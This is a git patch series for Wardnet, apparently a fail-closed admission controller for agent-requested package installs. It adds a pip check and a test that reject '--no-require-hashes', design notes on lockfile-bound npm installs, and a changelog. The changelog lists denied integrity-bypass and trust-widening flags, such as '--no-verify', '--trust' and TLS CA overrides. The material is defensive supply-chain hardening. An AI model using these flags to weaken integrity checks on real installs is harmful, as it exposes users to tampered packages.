https://docs.npmjs.com/cli/v11/commands/npm-ci/ - npm, Inc. (2026). *Package spec.* https://docs.npmjs.com/cli/v11/using-npm/package-spec/ - npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ - pip developers. (2026). *pip install.* https://pip.pypa.io/en/latest/cli/pip_install/ - pip developers. (2026). *Requirement specifiers.* https://pip.pypa.io/en/latest/reference/requirement-specifiers/ - pip developers. (2026). *Repeatable installs.* https://pip.pypa.io/en/latest/topics/repeatable-installs/ +- pnpm contributors. (2026). *pnpm install.* https://pnpm.io/cli/install - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs @@ -44,5 +50,6 @@ SHA-256 equality proves byte identity only when the execution path independently - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ +- Yarn contributors. (2026). *yarn install.* https://yarnpkg.com/cli/install NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file From 96f5f28df5ce85d7b9a129e74cae72ebe819e3d6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:48:02 +0900 Subject: [PATCH 228/702] docs(admission): trace npm-family dependency-closure decision --- .../npm-family-dependency-closure.md | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 docs/doctoring/npm-family-dependency-closure.md diff --git a/docs/doctoring/npm-family-dependency-closure.md b/docs/doctoring/npm-family-dependency-closure.md new file mode 100644 index 00000000..9810f9a0 --- /dev/null +++ b/docs/doctoring/npm-family-dependency-closure.md @@ -0,0 +1,44 @@ +# npm-family dependency-closure admission trace + +Verified 2026-09-05. This note records the evidence for Wardnet's v0.1 decision to reject direct npm-family resolver installs until the admission contract can bind the material set they may install. It does not assign dependency resolution to Wardnet; dependency resolution remains external to the Agent Artifact Admission bounded context. + +## Decision + +`npm install `, `pnpm add/install `, `yarn add `, and `bun add/install ` can turn one reviewed direct package operand into a transitive dependency closure. The current `InstallIntent` and `AdmissionPolicy` bind direct artifact coordinates and digests but do not carry a reviewed lockfile/material-set identity that proves the transitive closure. Wardnet therefore fails these direct resolver paths closed as `artifact_not_approved` even when the direct coordinate and execution-hardening flags match policy. + +This is a dependency-authority decision, not a claim that the package managers are unsafe. `--ignore-scripts` and pnpm's `--ignore-pnpmfile` constrain execution hooks; they do not prove which transitive artifacts the resolver will select. A package manager's lockfile or frozen mode is also not self-authorizing: the admission contract must first bind the reviewed lockfile/material set and the execution broker must preserve and verify that identity through retrieval and installation. + +## Primary-source observations + +| Package manager | Current primary-source behavior | Consequence for a future Wardnet allow path | +| --- | --- | --- | +| npm | `npm ci` requires an existing `package-lock.json`/`npm-shrinkwrap.json`, exits when the lock does not match `package.json`, installs the whole project, and does not write the manifest or lockfile. npm describes these installs as essentially frozen. | Prefer a reviewed project/lockfile contract over direct `npm install `; bind any tree-shaping project configuration used to create the lock. | +| pnpm | `pnpm install --frozen-lockfile` does not generate a lockfile and fails when the lockfile is absent, out of sync with the manifest, or would need an update. | A future port can require a reviewed `pnpm-lock.yaml` digest/material set plus frozen project install, while retaining workspace/configuration authority controls. | +| Yarn | `yarn install --immutable` aborts when the install would modify the lockfile; `--immutable-cache` and `--check-cache` add cache mutation/checksum controls. | A future port can bind the reviewed lockfile/material set and explicitly choose any additional cache-integrity requirements rather than authorizing `yarn add`. | +| Bun | `bun install --frozen-lockfile` installs exact versions from `bun.lock` and fails when the manifest disagrees; `bun ci` is documented as equivalent. | A future port can bind `bun.lock`/material identity and frozen project installation while separately constraining Bun configuration, platform selection, and trusted lifecycle authority. | + +## Wardnet boundary and acceptance criteria + +The current fail-closed repair is complete only when hostile tests prove that all supported direct npm-family resolver commands block after every existing direct-coordinate and safety check would otherwise pass. Positive admission coverage remains on package-manager paths whose current grammar can be bounded by the reviewed intent, such as exact Cargo installs and PyPI installs with `--require-hashes --no-deps`; this prevents the repair from degenerating into a global deny-all evaluator. + +A future npm-family allow capability requires a new versioned contract with, at minimum: + +- immutable reviewed project-manifest and lockfile digests; +- an explicit material/dependency-set identity derived from the reviewed lockfile rather than from runtime resolver output; +- package-manager/version semantics sufficient to interpret that lockfile without mutable or ambient trust/configuration authority; +- a frozen project-install command shape that fails rather than rewriting the lockfile; +- broker verification that retrieved bytes/provenance correspond to the admitted material set before execution; +- replay/idempotency and audit evidence binding the request, policy revision, lock/material identity and execution receipt; +- hostile tests for lock/manifest mismatch, lock mutation, workspace expansion, alternate registry/config, platform/optional/peer variant drift, cache poisoning, post-admission substitution and dependency-set mismatch. + +This future work stays within Wardnet's admission/evidence responsibility only for policy evaluation and receipts. The execution broker preserves the admitted identity, `quarantine-sandbox-runtime` owns hostile execution isolation, and registry/provenance providers remain behind versioned ports/ACLs. + +## APA 7 references + +Bun. (2026). *bun install.* https://bun.com/docs/pm/cli/install + +npm, Inc. (2026). *npm ci.* https://docs.npmjs.com/cli/v11/commands/npm-ci/ + +pnpm contributors. (2026). *pnpm install.* https://pnpm.io/cli/install + +Yarn contributors. (2026). *yarn install.* https://yarnpkg.com/cli/install From 032d74e060e778add00a2cc757ce3582c1135232 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:05:21 +0900 Subject: [PATCH 229/702] test(security): reject disabling PyPI hash checking --- .../tests/safety_flag_contract.rs | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index 32e22657..89c5205f 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -142,3 +142,22 @@ fn pip_attached_short_options_cannot_escape_reviewed_install_capability() { ); } } + +#[test] +fn pip_boolean_override_cannot_disable_required_hash_checking() { + let policy = approved_pip_policy(); + let mut intent = approved_pip_intent("--no-deps"); + intent.argv.push("--no-require-hashes".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "a contradictory --no-require-hashes must prevent integrity mode from satisfying admission: {:?}", + decision.reason_codes + ); +} From 4c0de8a3445d6b062b69440507cd3c81a3323308 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:06:19 +0900 Subject: [PATCH 230/702] fix(security): identify disabled pip hash requirement --- .../src/pypi_hash_mode.rs | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_hash_mode.rs diff --git a/crates/agent-artifact-admission/src/pypi_hash_mode.rs b/crates/agent-artifact-admission/src/pypi_hash_mode.rs new file mode 100644 index 00000000..25f8202d --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_hash_mode.rs @@ -0,0 +1,18 @@ +use crate::InstallIntent; + +/// Return whether a supported pip install request explicitly disables the +/// hash-checking mode that Wardnet requires for reviewed PyPI artifacts. +pub(crate) fn requests_disabled_hash_requirement(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + matches!(executable, "pip" | "pip3") + && arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .any(|argument| argument == "--no-require-hashes") +} From bba656c1d776da38a7315d9ec8e6cb5bdfd621d1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:07:03 +0900 Subject: [PATCH 231/702] fix(security): fail closed on disabled pip hash checking --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index ef524f95..710d9a78 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -10,6 +10,7 @@ mod dependency_cardinality; mod http; mod oci_transport; mod policy; +mod pypi_hash_mode; pub use admission::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, @@ -62,6 +63,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if pypi_hash_mode::requests_disabled_hash_requirement(intent) { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); From a93f7e7e57f92d3480bffdc0d9e5f22dc063a24f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:08:07 +0900 Subject: [PATCH 232/702] docs(security): record pip hash-mode denial --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ec9fff66..a80ee785 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared resolver output: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. pnpm requests still require both `--ignore-scripts` and `--ignore-pnpmfile` before resolver authority is considered; pip, pip3, and `uv pip install` require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Fail closed when a pip/pip3 install request includes `--no-require-hashes`: Wardnet's approved PyPI path requires hash-checking mode and does not accept a contradictory installer option that disables automatic hash enforcement alongside the positive requirement. This parser-boundary denial is separate from downstream proof that retrieved bytes match the reviewed artifact digest. - Fail closed on direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` even when the direct package coordinate and execution-hardening flags match policy, because the v0.1 intent carries only reviewed direct artifacts and cannot prove the transitive dependency closure those commands may resolve. `--ignore-scripts` is execution hardening, not dependency identity. A future npm-family allow path requires a reviewed immutable lockfile/material-set contract plus an executor command that is proven to consume that exact closure without rewriting it; until then resolver-selected transitive artifacts have no Wardnet admission authority. - Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. From 3f3da03884527d7ecea18cae9cab38b0bbbb0dbd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 02:08:35 +0900 Subject: [PATCH 233/702] docs(doctoring): trace PyPI hash-mode authority --- docs/doctoring/pypi-hash-mode-authority.md | 40 ++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 docs/doctoring/pypi-hash-mode-authority.md diff --git a/docs/doctoring/pypi-hash-mode-authority.md b/docs/doctoring/pypi-hash-mode-authority.md new file mode 100644 index 00000000..a199ad3f --- /dev/null +++ b/docs/doctoring/pypi-hash-mode-authority.md @@ -0,0 +1,40 @@ +# PyPI hash-mode authority + +## Problem + +Wardnet's Agent Artifact Admission Controller treats hash checking as a required safety condition for approved direct PyPI installation. The policy previously recognized the literal positive `--require-hashes` token but did not separately reject pip's negative `--no-require-hashes` option. That let one structured intent carry contradictory hash-mode instructions while Wardnet still considered the positive token sufficient. + +This is a parser/authority-boundary defect even when a particular pip version rejects the contradictory combination at execution time. Admission must not depend on a downstream parser rejecting an ambiguity that Wardnet can recognize before execution, and an admission `allow` receipt must not be produced for an intent that explicitly asks the installer to relax the required hash mode. + +## Constraint and ownership + +Wardnet owns pre-execution admission policy and minimized decision evidence. It does not download the distribution, generate a requirements lock, prove the downloaded bytes, or execute pip. The downstream executor remains responsible for consuming a reviewed material set and independently proving that retrieved bytes or equivalent provenance match the approved SHA-256 before execution. + +The current v0.1 direct PyPI path therefore keeps these independent controls: + +- exact reviewed package name and `==` version coordinate; +- reviewed registry/owner/SHA-256 identity; +- exact `--no-deps` dependency-cardinality guard; +- positive hash-checking requirement; +- explicit rejection of `--no-require-hashes` for pip/pip3 install requests; +- separate downstream material/provenance verification before execution. + +## TDD evidence + +- RED `032d74e060e778add00a2cc757ce3582c1135232` adds `pip_boolean_override_cannot_disable_required_hash_checking`. The hostile intent is otherwise the approved direct PyPI shape (`==` pin, `--require-hashes`, `--no-deps`) and adds `--no-require-hashes`. +- Causal classifier `4c0de8a3445d6b062b69440507cd3c81a3323308` isolates this installer-specific authority check in `pypi_hash_mode.rs` rather than broadening the generic policy parser. +- Admission wiring `bba656c1d776da38a7315d9ec8e6cb5bdfd621d1` returns the existing stable `missing_safety_flag` denial and never promotes the contradictory request to `allow`. + +Remote executable GREEN is not inferred from source inspection. The exact-head hosted workflows must execute on the resulting candidate before merge or release authority exists. + +## Primary-source traceability + +pip documents `--require-hashes` as requiring a hash for every requirement and documents `--no-require-hashes` as disabling automatic activation of the all-requirements hash mode when hashes are encountered. pip's secure-install guidance further states that hash-checking mode is an all-or-nothing mechanism intended to protect exact distribution material and recommends SHA-256 or stronger algorithms. Those semantics make the two options different authority statements; Wardnet therefore accepts only an unambiguous safety request. + +### References + +Python Packaging Authority. (2026). *pip install — pip documentation (v26.2.1)*. https://pip.pypa.io/en/stable/cli/pip_install/ + +Python Packaging Authority. (2026). *Secure installs — pip documentation*. https://pip.pypa.io/en/stable/topics/secure-installs/ + +Python Packaging Authority. (2026). *Requirements file format — pip documentation*. https://pip.pypa.io/en/stable/reference/requirements-file-format/ From a618bd362e3aeec928fbf98b53fdde646511c719 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:08:15 +0900 Subject: [PATCH 234/702] style(admission): apply rustfmt to crate facade --- crates/agent-artifact-admission/src/lib.rs | 40 ++++++++++++++++------ 1 file changed, 29 insertions(+), 11 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 710d9a78..b43de251 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -28,49 +28,67 @@ pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; /// Compute a deterministic fail-closed admission decision for one install intent. -pub fn admission_decision( - policy: &AdmissionPolicy, - intent: &InstallIntent, -) -> AdmissionDecision { +pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if artifact_variant::requests_unapproved_artifact_variant(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if cargo_install_authority::requests_unapproved_cargo_install_mutation(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if dependency_cardinality::misses_exact_dependency_set_guard(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if dependency_cardinality::npm_family_dependency_closure_is_unverified(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_hash_mode::requests_disabled_hash_requirement(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if oci_transport::requests_unapproved_oci_transport_trust(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; From 23979608d98ffcd512cde9094a578c54e6698b0c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:09:49 +0900 Subject: [PATCH 235/702] style(admission): apply rustfmt to intent model --- crates/agent-artifact-admission/src/admission.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/admission.rs b/crates/agent-artifact-admission/src/admission.rs index 8d432ca3..45c3a58b 100644 --- a/crates/agent-artifact-admission/src/admission.rs +++ b/crates/agent-artifact-admission/src/admission.rs @@ -152,8 +152,7 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" - .to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), ), }, artifacts: vec![ArtifactCoordinate { From 266b2134e7c21c4f1c8b628288fd3271c0af8eb4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:10:07 +0900 Subject: [PATCH 236/702] style(admission): apply rustfmt to artifact variant guards --- .../src/artifact_variant.rs | 33 ++++++++++--------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index 6444e23a..d4cf58ca 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -90,15 +90,20 @@ fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { .first() .is_some_and(|argument| argument == "install") => { - arguments.iter().skip(1).any(requests_unapproved_pip_variant) + arguments + .iter() + .skip(1) + .any(requests_unapproved_pip_variant) } - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { - arguments.iter().skip(2).any(requests_unapproved_uv_pip_variant) + arguments + .iter() + .skip(2) + .any(requests_unapproved_uv_pip_variant) } _ => false, } @@ -133,7 +138,10 @@ fn requests_unapproved_uv_pip_variant(argument: &String) -> bool { } fn matches_value_flag(argument: &str, flag: &str) -> bool { - argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| suffix.starts_with('=')) } /// Pip-compatible option parsers accept short options with their required @@ -163,9 +171,7 @@ fn requests_all_tags_short_bundle(argument: &str) -> bool { Some(parts) => parts, None => (bundle, ""), }; - if shorthands.chars().count() < 2 - || !shorthands.chars().all(|flag| matches!(flag, 'a' | 'q')) - { + if shorthands.chars().count() < 2 || !shorthands.chars().all(|flag| matches!(flag, 'a' | 'q')) { return false; } @@ -181,8 +187,5 @@ fn requests_all_tags_short_bundle(argument: &str) -> bool { } fn is_true_boolean(value: &str) -> bool { - matches!( - value.to_ascii_lowercase().as_str(), - "1" | "t" | "true" - ) + matches!(value.to_ascii_lowercase().as_str(), "1" | "t" | "true") } From e050c942f4b9e7128df2ee22bce6ce49bc5b92ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:14:12 +0900 Subject: [PATCH 237/702] style(admission): apply rustfmt to security contract tests --- .../bun_integrity_verification_contract.rs | 6 ++---- .../tests/cargo_build_variant_contract.rs | 6 ++---- .../cargo_overwrite_authority_contract.rs | 12 +++-------- .../tests/cargo_target_dir_escape_contract.rs | 6 ++---- .../tests/cargo_version_identity_contract.rs | 6 ++---- .../tests/oci_all_tags_contract.rs | 9 +++++--- .../tests/oci_platform_variant_contract.rs | 21 ++++++++----------- .../tests/oci_transport_trust_contract.rs | 7 ++----- 8 files changed, 28 insertions(+), 45 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs index 7d90a35b..2915433b 100644 --- a/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs @@ -32,8 +32,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -42,8 +41,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["bun".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs index 16fc047c..1e84df60 100644 --- a/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; #[test] diff --git a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs index 550c96f6..832e24c3 100644 --- a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; #[test] @@ -29,11 +27,7 @@ fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { ARTIFACT_ARGUMENT.to_string(), "--locked".to_string(), ]; - argv.extend( - unreviewed_mutation - .iter() - .map(|value| (*value).to_string()), - ); + argv.extend(unreviewed_mutation.iter().map(|value| (*value).to_string())); let intent = approved_cargo_intent(argv); let decision = admission_decision(&policy, &intent); diff --git a/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs index 5fed9a49..f3174272 100644 --- a/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; #[test] diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs index 770b317b..0362c100 100644 --- a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; #[test] fn cargo_version_selector_cannot_override_reviewed_artifact_version() { diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index a34c3047..18bfe4f0 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -4,8 +4,7 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] @@ -114,7 +113,11 @@ fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, 